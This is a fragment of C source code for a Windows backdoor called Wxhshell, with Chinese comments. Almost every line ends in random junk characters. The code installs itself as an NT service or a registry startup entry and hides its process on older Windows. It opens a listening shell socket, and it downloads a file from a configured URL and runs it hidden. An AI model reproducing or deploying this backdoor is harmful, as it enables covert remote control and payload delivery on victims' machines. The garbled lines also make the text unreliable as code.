DWORD ExitStatus; bCRV\myd`
DWORD PebBaseAddress; ,E S0NA
DWORD AffinityMask; C5o#i*|
DWORD BasePriority; Y]'Z7<U}*E
ULONG UniqueProcessId; Va"0>KX
ULONG InheritedFromUniqueProcessId; <^#,_o,!
} PROCESS_BASIC_INFORMATION; ;U/&I3dzV
ag [ZW
PROCNTQSIP NtQueryInformationProcess; */`ki;\A
t}r' k/[
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 01t1Z}!y
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^aItoJq
0"<H;7K#W
HANDLE hProcess; V?6a8lJ
PROCESS_BASIC_INFORMATION pbi; ,Vc6Gwm
wr$("A(
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =^M/{51j
if(NULL == hInst ) return 0; J,'M4O\S
'j#*6xD
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A8muQuj]~~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p|U?86t
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &6/[B_.
9+Np4i@
if (!NtQueryInformationProcess) return 0; Cio
1E-4
R@1 xt@?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); luh$2 \5B
if(!hProcess) return 0; }T(D7|^R
UXJeAE-
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &*M!lxDN
L+b6!2O,
CloseHandle(hProcess); X_q\S g
q+yQwX{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f\|w'
if(hProcess==NULL) return 0; n@<YI
}|h# \$w
HMODULE hMod; Ua:}V n&!
char procName[255]; I fK,b*%
unsigned long cbNeeded; ZF!h<h&,
(nQ^
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p$S*dr
94'&b=5+
CloseHandle(hProcess); 5'OrHk;u
G30-^Tr
if(strstr(procName,"services")) return 1; // 以服务启动 8I =2lK
=9H7N]*h
return 0; // 注册表启动
Vr3Zu{&2
} KjD/o?JUr
"Wct({n
// 主模块 7`*h2 mgY
int StartWxhshell(LPSTR lpCmdLine) ROH|PKb7
{ =Qy<GeY
SOCKET wsl; \j$&DCv
BOOL val=TRUE; q`Go`v
int port=0; $o+j
El>
struct sockaddr_in door; T^zXt?
S\CCrje
if(wscfg.ws_autoins) Install(); ?qb}?&1
aC]$k'71
port=atoi(lpCmdLine); /2&c$9=1
LQ@"Xe]5
if(port<=0) port=wscfg.ws_port; u+9hL4
k
R?qb6
WSADATA data; 5?f ^Rz
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Akq2 d;
NDN7[7E
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; nGC/R&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^}RCoE
door.sin_family = AF_INET; %Hu5K>ZNYp
door.sin_addr.s_addr = inet_addr("127.0.0.1"); VF+KR*
door.sin_port = htons(port); Sj3+l7S?
p?02C#p
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2R[:]-b
closesocket(wsl); sU=H&D99
return 1; K%t*8
4j
} Kew@&j~
J"0`%'*/
if(listen(wsl,2) == INVALID_SOCKET) { .#EFLXs
closesocket(wsl); 0HZ{Y9]
return 1; !Lu2
} FnwJ+GTu
Wxhshell(wsl); i}cRi&2[
WSACleanup(); ncaT?~u j
atj(eg
return 0; ?al'F q
y5vvu>nd
} R|'ybW'Y
AzPu)
// 以NT服务方式启动 QFA8N
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rjK%t|aV^
{ hqD*z6aH
DWORD status = 0; @JGP,445
DWORD specificError = 0xfffffff; 49eD1h3'X[
|44Ploz2b
serviceStatus.dwServiceType = SERVICE_WIN32; M$wC=b
serviceStatus.dwCurrentState = SERVICE_START_PENDING; R7%#U`Q^A
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +V2F#fI/
serviceStatus.dwWin32ExitCode = 0; \UA[
serviceStatus.dwServiceSpecificExitCode = 0; (|2t#'m
serviceStatus.dwCheckPoint = 0; C2!|OQ9A2
serviceStatus.dwWaitHint = 0; t^&Cxh
::`HQ@^
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9p]QM)M
if (hServiceStatusHandle==0) return; HVRZ[Y<^
wH*-(*N"
status = GetLastError(); 7 W5@TWM
if (status!=NO_ERROR) jVi) Efy
{ [z:!j$K
serviceStatus.dwCurrentState = SERVICE_STOPPED; IYv`IS"
serviceStatus.dwCheckPoint = 0; x5pdS:
serviceStatus.dwWaitHint = 0; _T60;ZI+^
serviceStatus.dwWin32ExitCode = status; 'B|JAi?
serviceStatus.dwServiceSpecificExitCode = specificError; ?d* z8w
SetServiceStatus(hServiceStatusHandle, &serviceStatus); MxKS4k
return; $z6_@`[
} GblA9F7
Y/F6\oh
serviceStatus.dwCurrentState = SERVICE_RUNNING; -E[Kml~U
serviceStatus.dwCheckPoint = 0; I^.Om])
serviceStatus.dwWaitHint = 0; O2V
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Cp\6W[2+B
} poE0{HOU
hW<%R]^|
// 处理NT服务事件,比如:启动、停止 |]bsCmD
VOID WINAPI NTServiceHandler(DWORD fdwControl) /PVk{3
{ i$Ul(?
switch(fdwControl) cZ,b?I"Q%
{ wLIMv3;k
case SERVICE_CONTROL_STOP: soxc0OlN
serviceStatus.dwWin32ExitCode = 0; yxPazz
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2Ah#<k-gC;
serviceStatus.dwCheckPoint = 0; {p2!|A&a
serviceStatus.dwWaitHint = 0; +|3@=.V
{ }dX*[I
SetServiceStatus(hServiceStatusHandle, &serviceStatus); X0HZH?V+
} hPB9@hT$
return; 70d 1ReQ
case SERVICE_CONTROL_PAUSE: hgG9m[?K
serviceStatus.dwCurrentState = SERVICE_PAUSED; :
$1?i)
break; 8S
TvCH"Z_
case SERVICE_CONTROL_CONTINUE: "x0^#AVg
serviceStatus.dwCurrentState = SERVICE_RUNNING; sI=xl
break; AYBns]!
case SERVICE_CONTROL_INTERROGATE: [jQp~&nY
break; &u."A3(
}; x8 2cT21b
SetServiceStatus(hServiceStatusHandle, &serviceStatus); h'llK6_)
} 9cbd~mM{
h,:m~0gmj
// 标准应用程序主函数 gjyYCjF
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P\tB~SZ*
{ >58YjLXb
[>I<#_^~
// 获取操作系统版本 +fB5w?Rg
OsIsNt=GetOsVer(); LH.]DVj
GetModuleFileName(NULL,ExeFile,MAX_PATH); uh0VFL*@
;?Tbnn Wn
// 从命令行安装 LVM%"sd?
if(strpbrk(lpCmdLine,"iI")) Install(); %6 zBSje
~7w"nIs<c
// 下载执行文件 ,_ H:J.ik
if(wscfg.ws_downexe) { mthA4sz
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n&4N[Qlv,
WinExec(wscfg.ws_filenam,SW_HIDE); CZwXTHe
} tU5zF.%
#lo6c;*m5
if(!OsIsNt) { =ZznFVJ`={
// 如果时win9x,隐藏进程并且设置为注册表启动 4\N;2N
HideProc(); !qQl@j O
StartWxhshell(lpCmdLine); y-b%T|p9
} 1s&zMWC
else L<cx:Vz
if(StartFromService()) k9R4Y\8P
// 以服务方式启动 NN{?z!
StartServiceCtrlDispatcher(DispatchTable); tKuwpT1Qc
else .NC!7+1m
// 普通方式启动 s]0{a.Cpv
StartWxhshell(lpCmdLine); !PlEO 2at
Dj?> <@
return 0; [85spub&}
}